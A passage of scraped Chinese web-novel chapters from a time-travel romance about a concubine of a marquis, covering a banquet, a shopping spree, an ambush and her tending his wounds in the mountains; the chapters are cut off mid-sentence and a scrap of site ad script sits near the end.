车厢大到可以在里面打麻将,车厢内的物件也都更加精致华贵。 今日她也没午休,被翠儿从外头请来的梳头娘子一通打扮,满头珠翠,差点没给她累死。 才申时就上了马车,一上车便懒洋洋的摊在一旁,一点规矩都没有。 顾铭珏刚要开口叱责,便见这人竟直接过来抱住了他的腰,软软糯糯的撒着娇道自己好累腰好酸好想睡觉。 顾铭珏顿时一点脾气都没有了。 毕竟他是让她又累又困又酸的罪魁祸首,昨夜确实是他闹的有点过了。 今日她又亲手做了羹汤与他,罢了,小女娘嘛,娇气点就娇气点吧,他宠着。 于是顾铭珏将人揽了过来,小心的避过她的头饰,伸出了大手帮叶知 7. 第 7 章 《侯府小妾生存指南》全本免费阅读 初秋午后的阳光和煦,云淡风轻,温暖而又淡然。 一辆雍容华贵的马车缓缓而停,不多时便见一位身着紫衣身材高大的男子率先下了马车,在王知府等人要迎上去的时候,男人却转过了身去将一位身穿淡紫色长裙的女子给牵了下来。 女子发髻高高挽起,步摇上的蝴蝶随着她的动作翩翩起舞,女子扶着男子的手掌,巧笑嫣然。 二人终于站定。 男子高大俊美,成熟稳重,气势浑然天成。 女子面若桃花,樱唇琼鼻,一双杏眼微微上挑,温柔似水。 二人一个身着深紫色常服,一个淡紫色长裙,颇有些夫唱妇随的意思。 也确实般配。 王知府率先反应过来,急忙带着众人行礼。 顾铭珏点头,略作寒暄便被王知府请进府邸。 叶知微想跟顾铭珏在后面当花瓶。 却不想知府夫人直接一把攥过了她的手,叶姨娘长叶姨娘短的聊开了。 顾铭珏略一回头便看到了叶知微一脸懵逼的被一个妇人牵着手,唇角不自觉的勾了勾。 直到进了后院落座,叶知微才将这位知府夫人和临县县令夫人的关系给捋明白了。 拐了几道弯的表姐妹,按理说叶知微应该叫这位一声姨娘的。 于是她也这么叫了。 王知府带着一众商城的官员在前院,知府夫人带着一众女眷同叶知微在后院。 叶知微看的分明,这些官家小姐看她的眼神里颇带着几分不屑。 她被县令夫人送出去的事情,只怕是传遍了。 她倒是也不生气,反正大家都是各凭本事,各取所需。 因着时辰还早,知府夫人便让几位知府家小姐带着她去花园转转,赏赏景。 叶知微自是笑着接受,她虽是个小妾,却是安定侯的妾,狐假虎威这一点她还是用的极好的的,去赏景而已,女子多的地方事情就多,她是一点亏也不会吃的。 你们不搭理我,我还不想搭理你们呢。谁又比谁高贵呢。 她开始是有些惊讶于此次竟然来了这么多的官家小姐,皆是长相秀丽的妙龄女子。 之后略微一想她也就明白过来了。 安定侯夫人已去世两年,这些人不少怕是奔着顾铭珏来的。 只是最大的知府也才四品,即使是嫡女,身份上怕是也是不能够做侯夫人的。 但是也都做着万一被侯爷看中了这样的美梦,所以今天也都是盛装打扮而来。 做不成正室,做个妾,在某些人的眼里也是极好的,至少算是扒上了安定侯这棵大树了。 都是十五六岁的年纪,很快便热闹成一片。 叶知微是不愿意去记众位小姐的名字的,估计也就是一面之缘,大家就此别过就好,不用惦记。 但是一直在她身旁不远处颇为沉静的姑娘倒是引起了她的注意。 她隐约记得是商城同知的长女。 同其她人直接或讨厌或轻视的表现不同,她只是一直在不远不近的跟着自己,即使打量也只是很纯粹的打量,还挺礼貌。 花园里布置了几张桌子,摆满了水果和点心,不远处是一大片的花圃,一大片的菊花,开的正好,争相斗艳。 再往西看去,是一片池塘和凉亭。 秋日的荷花也开的正好,粉粉嫩嫩的,引得几个小女娘不住的叽叽喳喳。 没有人搭理自己。 叶知微乐的清闲。 让翠儿去打听下宴席何时开始,便想到花丛去赏赏菊,还没走几步呢,便被花丛中的一块石头不小心拌了一脚,眼看就要摔倒,她又被一双沉稳的手掌给托住了。 是那位同知家的小姐,她一手扶着叶知微的肩膀,一手牵住了手掌,将人稳稳的给扶住了。 叶知微只觉一股淡淡的百合花的香气侵入她的鼻腔,她的手不自觉的抓紧了牵住了自己的手掌。 不知道是不是自己的错觉,她竟觉得她的手掌硬硬的,有些粗糙。 站定后来人便放开了自己,叶知微稳下心神来道谢,并且知道了对方的名字,百合。 她叫,白百合。 很好听的名字,兴许是被她帮过,叶知微不自觉的想要亲近她。 但也只是聊了几句,晚膳时间到了。 男人们还在前院,女眷都在后院的偏厅用膳。 菜品都是极好的,只是叶知微惦记着晚上的花灯会,便没用多少。 于是便被席上不知名的小姐给讽刺了两句,不知道叶姨娘是否是吃过这大闸蟹啊,乡野之地,应该是没见过这东西吧。 刚开口,便被知府夫人给呵斥了,众人倒是一脸看笑话的表情。 叶知微也不觉丢脸,结果翠儿递过来的帕子擦了擦唇角,笑意盈盈的开口:“从前倒是也吃过的,只是没如今这般个头大。妾身跟着侯爷,什么吃不到?再多美味珍馐也都不是个稀奇的。” 她夹着嗓子,言语间带着些我男人是安定侯的傲气,她看着那位知府家小姐气到五彩斑斓的脸,笑容愈发灿烂。 直到坐上了回程的马车,叶知微都能感觉到那位大小姐在狠狠瞪自己。 想到一会要去看花灯,她的心情更好了。 顾铭珏一上马车便看到了她那张笑颜如花的小脸。 大马金刀的坐下后,便听她讲述在后院发生的事情。 叶知微上辈子就是那种一点委屈也吃不得,即使占了便宜我也得告状的那种人。 于是,她事无巨细的跟顾铭珏讲了起来。 讲到自己差点摔倒在花丛里,还不自觉的伸手握住了男人宽大的手掌,摩挲着他手上的老茧,不自觉的就靠在了男人身上。 二人离的极近,男人身上散发着淡淡的酒气,桂花味的,还好,是她喜欢的酒香。 男人被她弄得心痒痒,反手握住了她的小手,将人一把拉近了怀里。 天色已经昏暗了下来,马车上点着油灯,昏黄的灯光倒映在两人身上,朦朦胧胧的。 叶知微才不管两人现在的坐姿呢,小手被男人的大手包裹着,她语气里带着些兴奋,“那位同知家的小姐,手掌上也有老茧,像您的一样,虎口这里,也有,硬硬的,很有力量。” 然后她看向男人问道,“是不是这位小姐像您一样,会使刀用剑?” 顾铭珏却看着她笑的温柔,不需要他说些什么,她竟然能觉 8. 第 8 章 《侯府小妾生存指南》全本免费阅读 第二日的叶知微果然睡到了艳阳高照。 对于床榻上这点事,就这个强度来说,叶知微觉得她要完,她是得多用些补品了。 如果不是被翠儿连哄带骗的给叫醒的话,她恐怕是午膳都是不愿意起来吃的。 侯爷走的时候发了话。 姨娘睡到午膳之前便可,用完午膳差几个人跟着,让姨娘去挑选些衣裳首饰随意的逛逛散散心。 待叶知微听清并且完全吸收了翠儿的这些话之后,她也清醒的不像话。 微乱的长发散落在胸前,因为兴奋而过于明亮的双眸,只穿了一身睡袍的身子玲珑有致。 她兴致勃勃的扶着翠儿的胳膊便开始穿衣。 翠儿低垂着眉眼没敢仔细看她家姑娘脖颈上的斑斑红痕,实在是过于香艳。 因着翠儿年纪小,每到晚上叶知微都是让翠儿去睡去,从未让她守过夜。 所以每次翠儿看到她身上的红痕,除了害羞,没来由的还是会心疼。 等叶知微终于将衣衫穿齐整,翠儿便将侯爷留下的匣子递了过去。 嗯...... 一匣子的银票。 只那么一打眼,这匣子里至少千两的银票,发财了发财了! 金主这么大方,她还怎么生气! 她又怎么会生气呢,她可不是那么不知好歹的人。 而后翠儿又颠颠的抱过来一个大些的匣子,笑着道是一早知府夫人送来给姨娘戴着顽的,这下看哪家小姐还敢欺负姨娘。 翠儿语气还有些愤愤不平,叶知微捏了捏翠儿还带着稚嫩的小脸,同仇敌忾,“侯爷这不是给咱们长脸了,不气了啊。” 而后就是主仆俩捂着嘴偷笑。 这速度! 等两人笑够了,她扯着嘴角漫不经心的拨弄了几下钗环便让翠儿收拾起来了。 还得出去大干一场呢。 之后便是简单的用了午膳,稍作打扮,带着翠儿和一众护卫雄赳赳气昂昂的上了街。 首先逛的自然是成衣铺子。衣食住行,衣在前头。 秉着吃大户的心态,哪件鲜亮哪件值钱买哪件,这个这个这个,通通包起来,刷金主的银票。 胭脂水粉什么的,捡了几样面脂口脂买了些最贵的。 虽然她围着面纱,但是那窈窕的身姿大方的手笔还是吸引了很多人的注意。 只是介于她身后跟着的护卫才没有人上前打扰。 叶知微是怎么招摇怎么来。 她是没什么心机,但不是傻。 顾铭珏给了她一匣子的银票,自然是带着目的的,除了哄她开心这小的一方面,只怕还有让她招摇过市去吸引些什么人吧。 她虽然也心疼那白花花的银子就这么流水是的送了出去,但是她买买买的自是十分开心的。 毕竟是侯爷买单。 光是秋季的衣裳,初秋深秋都买了几身,连带着翠儿的,从里到外买了个痛快。 各色点心铺子她也是都逛了的,净拣了贵的买。 大半个时辰过去,一些人终于接到了消息。 待到她终于逛到首饰铺子的时候,知州夫人带着自家小姐已经非常凑巧的等在里头了,只是知州夫人带的不是那位百合姑娘,今日的小姐年纪要小一些,她并没有见过。 大家只是见过一面的关系,这一照面她只微微点头便要离开。 可她被这位夫人叫住了,一阵寒暄。 有意思的是,这位夫人送了她一套价值不菲的头面。 本着不要白不要的原则,她收下了。 当然她也还是婉拒了两下的,只是这位夫人过于真诚,她不得不收啊。 面纱下的嘴角比AK还难压。 这白嫖的感觉,有点爽是怎么回事。 无独有偶。 在下一家铺子,她遇到了另一位官家夫人,送了她两支金钗,一些小玩意,婉拒不过,她勉强收下了。 她一共逛了四家首饰铺子,每次都毫无意外的碰到一些人。 只这一会她便到了头面两套,一套鎏金的,一套粉碧玺的,做工精细,价值不菲,至少百两以上。 金钗四支,步摇两支,小玩意若干件。 而后,她便直接打道回府了。再逛下去天就黑了。 实在是累了,谁家好人逛街能逛近两个时辰啊,这身体素质再好也架不住这么逛,而且她前夜还被折腾的累极,算有工伤在身的。 将剩的银票吩咐翠儿收好,战利品摆满了一桌子,她心满意足的泡澡去了。 甚是乏累呢。 顾铭珏回来的时候,叶知微刚好打着哈欠从里间出来,头发还湿哒哒的披在肩上,顾铭珏过来的时候,她打哈欠的嘴巴还没有闭上,眼睛湿漉漉的,带着几分娇憨。 顾铭珏让翠儿退下,自己接过棉巾帮她擦头发。 二人现在的相处模式,倒真有几分夫妻的意思。 她抬起本就本润的眸子望着给自己擦拭头发的男人,眼神温柔似水,盛满了款款爱意。 她也不拒绝男人的好意,只静静的望着男人。 好半晌,他才轻轻的放下了棉巾,颇为满意的用手挑了挑她还已经半干的乌发。 他才发现,她似乎长高了一些,已经到自己下巴了。 叶知微感受着男人的动作,懒洋洋的环住了男人的腰,娇娇软软的诉说着今日发生的事情。 那语气,半是撒娇,半是得意。 “人家今天可是累极,您进来时可看到那一桌的东西了,全是妾的战利品,妾今日可是给您省了不少的银钱呢。” 顾铭珏瞧着她这尾巴都快翘到天上的样子,竟然还挺受用。 他大手来到了她的臀部,轻轻拍了两下,这才道:“让本候看看,你这是什么时候长出来的尾巴,都快翘上天了。” 叶知微在他怀里咯咯直笑,而后讨好是的双手攀上了他的脖颈,眸子弯成了月牙,踮起脚尖,不甚熟练的亲了亲男人的唇。 顾铭珏对她蜻蜓点水的吻不大满意。 于是他捏了两把某人的屁股,吞下了她的惊诧,肆无忌惮的纠缠她的舌。 这一吻下来,她气喘吁/吁。 他意犹未尽。 晚膳很是丰盛,厨娘的手艺很好,叶知微却没用多少。 主要是下晌逛了两家点心铺子,已经用了不少的点心,这会儿还不怎么饿。 她简单的吃了几 9. 第 9 章 《侯府小妾生存指南》全本免费阅读 翌日叶知微依旧睡到了日上三竿。 心中惦记着金主的话,当她被翠儿叫醒的时候,是一点脾气都没有的。 翠儿将她叫醒后便道侯爷差了护卫来接她去酒楼用膳。 叶知微点头,裹着被子挣扎了半晌爬了起来。 昨夜倒是没折腾太久,她睡的也好,还挺精神。 选了件海棠红锦绣长裙穿上,头上是一整套的金制头面,娇艳妩媚又尊贵,美的让人移不开眼。 金主发了话,她自是极为配合,她今日美的既奢华又张扬。 而此时商城最大的酒楼里,顾铭珏已经落座。 顾铭珏坐在二楼最大的厢房,窗户大开,他微眯着眼看了看楼下越来越多的马车,冷哼了两声,朝守在一旁的冯三递了个眼神。 不多时,热闹的醉仙楼前同时停下来两辆华贵的马车。 东侧车架下来了一位风韵犹存的妇人,妇人一身罗裙花团锦簇,头上插着两支金簪,面上带着激动。 她转身接下来位一身白色纱裙身段婀娜弱柳扶风的妙龄女子,女子带着面纱,看不清面容,远远瞧着只觉不俗。 恰在此时,另一侧的车厢,一位十二三岁的小女娘直接跳了下来,带起了一片尘土,引得这妇人和女子皱了眉头。 翠儿不觉得自己跳了这么一下有什么不妥,她高兴的拉开了车厢的门,将她家姑娘给迎了下来。 同样带着面纱,只叶知微一露面,身边的风景顷刻失了颜色。 一席海棠色长裙的她艳丽出尘,步步生莲。 头上金灿灿的头面更是衬的周身矜贵,不染凡尘。 她无视周遭或是惊艳或是嫉妒的目光,淡定的跟着护卫进了大堂。 只这一眼,那位风韵犹存花团锦簇的妇人,便直觉要糟。 她急忙拉着自家女儿越了众人前头去,那女子被扯的一个踉跄,眸色沉了沉,但也没说些什么,咬着牙跟上。 叶知微面上无甚表情,内心翻着大大的白眼,也不知这金主今日到底是唱的哪一出,今日这朝前街可比昨日要热闹多了。 一眼望去多是女子,燕肥环瘦的,什么样的都有。 楼上顾铭珏毫不知情,他正襟危坐的听着身前站立着的不知名小官侯爷长侯爷短的溜须拍马,食指和中指有一搭没一搭的敲击着桌面,看不出喜怒。 刘通判头上已经冒了汗,终于身旁的小厮扯了扯自己老爷的袖子,刘通判看了看门外站着的妇人急忙开口道:“听闻贵人爱听小曲,下官有一女儿善于唱曲,眼下就在门外,还请贵人赏脸听上一听。” 叶知微走进雅间的时候便听到了这么一句话,瞬间明白过来,嗯,这也是送女儿的。 不过她十分不解的是,这都是雅间了,为什么还要大敞着门,这雅间到底起到了何种的作用呢。 里头的安定侯对刘通判的话似乎是没什么反应,门口的侍卫已经看到了叶姨娘到了。 侍卫躬身行礼道:“请姨娘安。” 叶知微略一点头,带着翠儿径直走了进去。 顾铭珏终于有了动作。 他先是挥了挥手,“叫人进来吧。” 然后起身,牵起正在躬身行礼的宠妾的手,让人坐到自己身旁。 这边白衣女子不知何时已经抱了个琵琶进来了。 面纱已经摘了。 女子面容清丽,眉眼含春,面带羞涩。 屈身行礼,坐定,开唱。 顾铭珏行至缺缺,叶知微倒听的认真。 女子弹唱的《琵琶行》。 大弦糟糟如急雨,小弦切切如私语。 她听的是摇头晃脑,丝毫没有做人小妾的自觉。 顾铭珏也乐的宠着她,于是这一顿午膳,边用边听小曲。 外头怕是已经传的不像话了,安定侯在醉仙楼坐拥两位美人儿,坐享齐人之福。 终于还是叶知微看不过去了,扯了扯顾铭珏的袖子小声道:“这位妹妹已唱多时了,可否让她歇歇?” 男人饶有兴致的看着她,道:“可饱了?” 答非所问。 叶知微点头。 顾铭珏自顾自的起身,“那便走吧。” 叶知微一头雾水,但还是站了起来。 她看看已经迈着大步离开雅间的男人,又看看坐在一旁角落泫然欲泣的姑娘。 叹了口气。 还是不忍心。 她走到女子身前,将人扶了起来,唱了大半个时辰,定是累极。 “莫哭。” 她小声道了句。 将人牵到了门口处才朗声道:“侯爷知我爱听小曲,这才将姑娘请来,这镯子姑娘带着,权当是我的一片心意了。” 之后她又将取了支头上的金钗插到女子发髻。 亲手帮人带上了面纱,拍了拍女子的手,附在她耳旁小声道:“侯爷乃正人君子,雅间的门一直大敞着,不必担心闲话。谁问都是我爱听曲。” 而后便转身离开了,她只能做这么多了。 徒留下这女子呆愣愣的看着她的背影,内心满是感激。 她还挺好心。 这是等在车厢内的顾铭珏的真实想法。 待到叶知微略微穿着粗气在他身旁坐定的时候,他更加确定了。 发上的金衩少了一支。 手腕上那水 10. 第 10 章 《侯府小妾生存指南》全本免费阅读 马车在官道上疾驰,扬起了阵阵尘土。 秋意盎然,路两旁的树叶轻轻飘落,宛如蝴蝶飞舞。 马车内的叶知微靠着男人睡的正熟,略显青涩的俏脸上还带着娇憨,一身素白的长裙,发间只简单的挽了支金簪,睫毛如蝶翼般低垂着,小嘴微张,甚是惹人。 顾铭珏还是单手拿着本书看着,一手将人揽在怀里,好让她睡的舒服。 一连几日,他都是在书房睡的,每晚叶知微总会亲手做些吃食着人送来,有时是一碗面,有时是一碗粥,他冷寂的心日渐温暖。 是该提提她的位分了。 这次在商州本也只打算休息几日,却不想不光是查到了前宗大案的线索,还让他直接查出来一起官匪勾结的龌龊事来。 未免打草惊蛇,他待掌握了证据之后便打算返京,只还有本极重要的账本没有找到,不过倒也不急,光是他手上的证据,也已经足够收拾这些人了。 因着接下来要赶月余的路,所以昨夜他便闹的晚了些。 对于他来说,身边自是不缺女人的,但是让他如此放在心上的,如今还是头一遭。 罢了,她如此贴心,回京之后便提为贵妾吧。 叶知微是被饿醒的。 今早她是迷迷糊糊挣扎着起来的,上了车便抱着金主的胳膊睡了过去,她虽也不想,但她是真的困,昨夜她都不知自己是何时睡过去的。 这男人的体力还太好了些,处理了几日的公务,也没见有多疲累。 她刚醒,便看到男人撩着窗帘眉头紧皱的样子。 吓得她一时也没敢开口。 只听窗外卫虎道:“主君,前方的道路出了些问题,咱们还得绕些路。” 顾铭珏只淡淡点头,放下窗帘转头对上她不解的眼神,安慰道无事。 刚离开商州还没有半日,那些人应该不敢这么迫切。 不知何时,叶知微的眼角跳的让她有些烦躁,她面上不敢显露,内心则是不断祈祷着可千万不要出事。 终于,车厢外传来马匹嘶鸣的声音,一支利箭悄无声息的射进了车厢,顾铭珏一把将叶知微护在怀里,此时外头已经打了起来。 好在顾铭珏的侍卫各个武功不俗,经验丰富,敌人虽是偷袭,但也没占到什么便宜。 车厢已经被射成了筛子,顾铭珏护着叶知微跳了下来,眼看黑衣人越来越多,便叫了名侍卫护着她先行离开。 叶知微也知道自己的存在只能是添乱,咬着牙点头。 翠儿躲在马车一角,看到她便飞奔过来,翠儿紧紧的护着她,叶知微不管不顾的握着翠儿的手飞快的便往密林中跑去。 黑衣人的目标似乎并不是她们,二人疯狂的跑,并没有人追上来。 侍卫兄看此情况思瞬了片刻,叫她二人只往山中高处跑去,找个地方躲起来,他需得回去。 还不等叶知微点头,人便已经消失了。 叶知微并不怨怼,那里肯定是有对他来说更重要的人。 却不知另一批黑衣人还有一任务,就是要将她活捉回去...... 主仆二人对视一眼,互相打气,一直往山上跑。 直到跑散了一头长发,刮破了身上的锦缎,她都没有停歇。 翠儿虽然年纪小,但是常年干活,动作十分敏捷,所以当她看到一枚箭矢飞过来的时候,身体已经不自觉的将她的姑娘给护住了。 箭矢直直的穿过了她的肩膀,深深的锭进了皮肉里。 翠儿知道,她不能再同姑娘一处了。 她这么好的姑娘,她得将人给引开才是! 她今日穿的是姑娘送她的衣料,都是绸缎,她虽只有十三岁,但是个头已经很高了,远远的瞧去是分不清她和姑娘的。 翠儿将无暇顾及身上的疼痛,只对着心疼的望着她的叶知微道:“姑娘,我们分开走,再不走我们就都得死在这了!” 叶知微此时已经被泪水胡了一脸,她想说不行,我不能,但是她却被翠儿狠狠的推了一把,她踉跄的向后退了几步。 她知道,她们要抓的那个定是自己,她跟翠儿分开,翠儿兴许能活下来! 最后只咬着牙,道了句翠儿,我们都要活着。 于是主仆两个朝东西两个方向分开跑去。 想要继续放箭的黑衣人却从后面被另一个身材瘦小些的黑衣人给一刀摸了脖子,一刀致命。 她看了眼叶知微逃走的方向,转身离去。 叶知微不知道自己现在是什么感受,她双腿已经麻木,周身已经感觉不到疼痛,她的世界仿佛只剩下了跑,跑,跑,跑,一直往前跑。 直跑到披头散发也不敢停歇。 不能停下,不能停下。 她已经不知跑到了什么地方了,周围的参天大树让她看不清方向,她不小心竟一脚摔了下去。 这是个很高的坡,杂草丛生。 不知滚了多少时间,叶知微的额头终于撞上了坡底的大树,生生的撞晕过去。 一切都悄无声息的,山中的世界并没有因为一个外来者而改变什么。 再醒来的时候,天将要黑了。 她额头被撞破了,血已经干涸,还起了好大一个包。 但是她却无暇顾及这些。 头再疼也没有现在她身处的环境让她恐惧。 她抽搐着身子着爬了起来。 周遭的一切都让她害怕。 寂静的山谷只有几声虫鸣和鸟叫,周遭是漫天的大树和参差不齐的杂草。 她哆嗦着身子尝试挪动自己的两条腿,还好,腿脚是好的,只是擦伤,并不严重。 她在周遭摸索着找了一根还算粗的树枝做拐棍,强撑起身子告诉自己要勇敢,要勇敢,她不怕的,不怕的。 但是只是走了几步,一个不知是什么的动物从她身边飞了过去,她惊叫一声,一屁股坐在了地上,还是嚎啕大哭起来。 她被吓的寒毛直竖,毛骨悚然。 她知道她现在哭是不对的,不是时候。 但是她能怎么办,她也不想啊! 为什么就是她被发配到这了呢,她好好的现代人死就死了,穿越到这历史上一点记载都没有的朝代,她都被逼着做了人家小妾了,她已经很努力的活下来了,还要她怎样啊! 她眼睁睁的看着那些箭矢同她擦肩而过,心脏都快吓出来了,翠儿又帮她挡了一箭,到现在生死未知。 多次直面死亡的经历终于让她破了防。 她也才二十岁,到底是为什么要让她经历这些呢? 她好害怕啊,好想爸爸妈妈,她好想奶奶,她好想回家...... 她哇哇大哭,哭了半晌,或许是累了,或许是想通了,才用袖口将脸上的泪水抹去,踉跄着又爬了起来。 她得爬起来,然后活下去。 不为别的,为老天爷又给了自己的这条命,为翠儿替自己挡的那一箭,为顾铭珏说的那句护着她的话,为了异世白发人送黑发人的父母,她得爬起来,然后活下去。 活下去,她要活下去。 天已经黑了。 除了疼痛,此时的她也是又累又饿。 一天了,她米水未进,早知道早晨就吃些东西再睡了,现在好了,肚子饿的在唱戏。 老天爷让她从千年后的异世穿来,应该不会让她就这么轻易的死去。 就这么想着,她心里的不安和害怕稍稍好了一些,身子也不那么颤抖了。 她鼓起勇气让自己继续往前走。 她走的很慢,眼睛不住的朝周围看去,她害怕自己再看到了什么不干净的东西,或者什么熊瞎子大老虎。 还好,都没有出现。 她微微放下了心,就着月光沿着山谷慢慢行走。 摔下来之前她也没看清,只以为自己摔下了一个土坡,没想到走了一段路才发现这竟是个山谷。 往前走走,说不定有水。 她想找个山洞休息,总不能真宿在这大树下面,她晕倒的时候没遇到野兽蛇虫算是她运气好,但是夜里真的不好说。 她咬着牙前行,紧绷着身体,丝毫不敢松懈。 山谷的杂草有半人高,她走的也有些吃力。 肚子也在唱空城计,她一直在找山间有什么吃的。< 11. 第 11 章 《侯府小妾生存指南》全本免费阅读 夜深人静,空谷幽深。 清冷的月光下,一披散着头发的白衣女子将怀中已经凉掉了的身体缓缓的放下,她摸了把脸,撕下一缕裙角将披散的头发扎上,而后像是鼓起了莫大的勇气,颤抖着双手来到了尸体身旁。 下一瞬她闭着眼咬着牙将那具身体胸前的匕首给硬生生的拔了下来。 她不知道她做的对不对。 但是她不愿意百合姑娘身死后□□上还插着匕首。 匕首还是被拔了出来,鲜血蹦到了她的身上,脸上。 她毫不在意。 她拿着匕首在周围疯狂的挥舞着,似乎要将一腔的怒火发泄出来。 最终,她只是搜集了足够多的树枝和杂草,将百合姑娘的尸身找了处低洼的地方拖了进去,然后用树枝和杂草盖住了。 做完这一切,她汗流浃背。 她气喘吁吁的跪坐在一旁,似是休息够了,又站了起来,静默了半晌,最后咬着牙转身离开。 答应你的,我都会做到,安息吧,百合姑娘。 她是想挖个坑将人入土为安的,可是她手上只有一把匕首,实在条件有限,她想先将百合姑娘的尸身掩盖住,待她找到帮手之后再来帮她下葬。 她将匕首别在了腰间,百合姑娘,希望你能帮助我早点找到侯爷。 叶知微真的很累,也很狼狈。 她本就穿的一身白色的衣裳,如今已满是血污,着实狼狈不堪。 要是真有人闯进来看到,怕是要将她当成孤魂野鬼了。 她一路踉踉跄跄,磕磕绊绊的顺着山谷的低处前行。 不知走了多久,皇天不负有心人,她终于听到了水流声。 她疾步而走,眼前的情景豁然开朗。 月色下一条溪流自上而下,在皎洁的月光下看的分明,水质清澈,缓缓流动。 她松了口气,有水就好办了。 她洗掉了脸上的血污,溪水冰凉,头脑也在瞬间清明了许多。 一屁股坐在了小溪旁的石头上,神情是说不上来的倦怠。 不知道翠儿怎么样了,不知道侯爷是生是死。 她又哭了,那一双好看的杏眼,如今已经红肿不堪。 今日怕是将她上辈子的眼泪给全流了出去。 她呆愣愣的看着水中自身的倒影,不知今夕何夕。 最终,她还是站了起来。 拾起了仍在一旁的木棍,再次向前方走去。 那是东方,是水的上游。 她也不知道那里有什么,但是她觉得,那,应该有希望,有生的希望。 溪水两旁多是些碎石,她被绊了两下,又爬了起来。 月光如水,在这午夜打在她身上,显得她十分的脆弱,却又带着些许的顽强。 她像是麻木了般,只知道往高处走。 她合该找个地方休息一下了。 深吸口气在四周不住的观察,想要找一个能暂时供她休息停靠一下的地方。 就在不远处,她好似又看到了什么人。 那人身靠在溪边的一块大石上,只漏出深紫色的衣袍来。 叶知微不是很确定,是顾铭珏吧? 今日他身穿的确实是深紫色的外袍。 慢慢走进,那人也没什么动作,好似已经昏死过去。 叶知微小心的探过身子,即使大石下瞧不真切,她还是能确定那人确实是顾铭珏。 百合姑娘保佑,真的让她找到了侯爷了! 她急忙上前,激动的叫着顾铭珏的名字。 却不想刚抓上这人的胳膊,手便被顾铭珏身上的鲜血给染湿了。 他受伤了,很严重的外伤。 她一时间手足无措,她不知道现在到底该做些什么。 沉住气,沉住气。 她不断的告诉自己要沉住气。 顾铭珏不能死,侯爷不能死。 她探了下顾铭珏的鼻息,确实是有呼吸的。 应该是失血过多晕死过去了。 她深吸口气,将人挪动到了月光之下,小心的查看起来顾铭珏身上的伤口。 肩胛处有处箭伤,但是伤口已经简单处理了。 小腹处的伤口很深很长,还在流血,即使在夜里,她也能看清那又深又长的可怖伤口,深呼吸,努力让自己冷静下来。 叶知微不能确定是刀伤还是剑伤,总之现在是必须将血止住的,不然顾铭珏定会失血而亡。 止血止血,一定要止血。 她不断搜刮着脑中的知识,手上也不停的忙活着。 她将自己的里衣撕下一块,动作小心的版顾铭珏处理伤口,停顿了半晌,伸手在男人的身上摸索着,既是处理了箭伤,男人身上定是有药的。 她在男人的怀里摸到了三个小瓶子,她打开看了下,两瓶是药丸,另一瓶是药粉。 还有一个,太好了,是火折子! 她内心一阵激动,倒是不急着生火,需得先帮着顾铭珏处理伤口。 这药粉应该就是止血的药了,药粉不多了,了胜于无,她将药粉均匀的洒在伤口处,又将自己撕下来的里衣撕成了长条,好半晌才将伤口包扎好。 她看着靠在石头上面色苍白的男人,深深吐了口气。 她现在还是不要轻易挪动他的好,以免碰到了伤口。 这一片地方除了背后的大石头,只有些细碎的鹅卵石。 她找了个大些的树叶,将自己手上的血污洗净之后用树叶接了些水,小心的给男人喂了些。 看着手上不知名药丸,索性都打开喂了男人几颗。 而后跑到不远处去捡了一些树枝和干草。 有了火折子,轻易便生起了火。 她虽然没有什么野外求生经验,但是没吃过猪肉也看过猪跑,前世电视剧里有过类似情节,她还是知道怎么生火的。 小动物和野兽都是怕明火,如今她一颗心总算是放下了一些。 之后便一屁股坐到了地上,小心翼翼的守着男人。 她心里想着,男人应该会发热的,发热了的话,她应该怎么处理。 头脑里不断思索着能用到的知识,大山里不缺的就是中药,小时候跟着奶奶去爬山的时候不小心磕破了膝盖,奶奶随手便扯过了几片叶子,放在揉出汁液几下就给她敷上了。 而她的腿竟然真的不流血了。 奶奶说刺耳草也叫刺儿菜,也就是小蓟,既能吃也能当做药材,同样的,奶奶还给她介绍了大蓟和三七。都是可以在野外找到止血的。 尤其是三七,全身都是宝。 只是她不记得这些野草都是什么时节生长的了,也不知道这深山里到底有没有。 别的,退烧消炎的,对!柴胡! 奶奶说她们小时候穷,能长大靠的全是这大山里免费的中草药,她说感冒发烧了就到山上去找柴胡来吃,好的很快。 就是不知道,顾铭珏如果伤口感染导致的发烧能不能用柴胡,感冒发烧和伤口感染到底的发烧肯定不是一个治疗方法的。 她皱着眉头闭着眼睛不断思索着,半晌终觉感觉到了冷意,一连打了几个喷嚏。 她将自己窝在火堆旁边,双手伸开烤火,试图让自己暖和一些。 心里想的也是千万不能睡着了,这时候睡着肯定会受寒。 叶知微现在非常懊恼。 她怎么就没多学点东西,多记几个中药材也好啊,都是救命的东西。 可是她竟然就这么懊恼着抱着自己沉沉的睡了过去...... 应该实在是累极了,她眼角的泪珠还挂在那里,不一会便被风干了,月光下能清晰的看到她紧皱的眉头,和不安的双眸。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 侯爷惯的。 而另一边的顾铭珏正同一位老者下棋,你来我往之间便听下人来报,老太爷,王家大奶奶求见。 老者皱着眉头,沉思了片刻,似在回忆这王家大奶奶是谁。 顾铭珏轻轻皱了皱眉头,将手上的棋子扔回棋盒,起身朝老者告辞。 可惜了,没走成。 被老者给拦了下来。 “你这混小子好不容易来一趟,不陪老朽喝两杯怎么能走?” 说罢起身,“我去前院看看,你且在书房等着,不能偷跑!” 老者鹤发童颜,走起路来生龙活虎,一看便是练家子出身。 顾铭珏看着师傅摇了摇头,还是老实的坐下了。 罢了,也真是多少年没见了,陪老头子喝上一杯便是了。 却不想,这一杯便喝出了些麻烦。 晚膳是叶知微硬拉着翠儿和十三一起用的,十三自是不敢,翠儿倒是习以为常。 叶知微将人硬拉着坐下,美其名曰给她接风。 十三有些受宠若惊,但是又看着叶姨娘一脸真挚的样子,也就真的坐下了。 一顿饭用的很好,就像是姐妹之间用膳聊天一样,翠儿和叶知微还点评今天的饭菜,叶知微笑着道侯爷已经答应我回侯府我可以有个自己的小厨房了,到时候我做饭食与你们吃,可比这些要好吃多了,绝对能将你俩都喂的白白胖胖的。 望着叶知微笑颜如花的小脸,十三发自内心的觉得,就这么伺候这位姨娘一辈子,或许真的是件不错的事情。 夜已深。 顾铭珏回来的时候自是带着一身酒气的,想到答应老头子的事情,皱了皱眉,罢了,将人带至京郊分开就是。 彼时叶知微正坐在榻上绣荷包。 她也是近日才想起来做绣活的,一开始她还怕原身的手艺被她丢了个干净,没想到这具身体的□□记忆还成,虽然绣出来比不上原身,但是装装样子也是可以的。 于是她便想着绣个荷包送与金主,毕竟哄人嘛,还是亲手做的来的有诚意些。 灯下看美人。 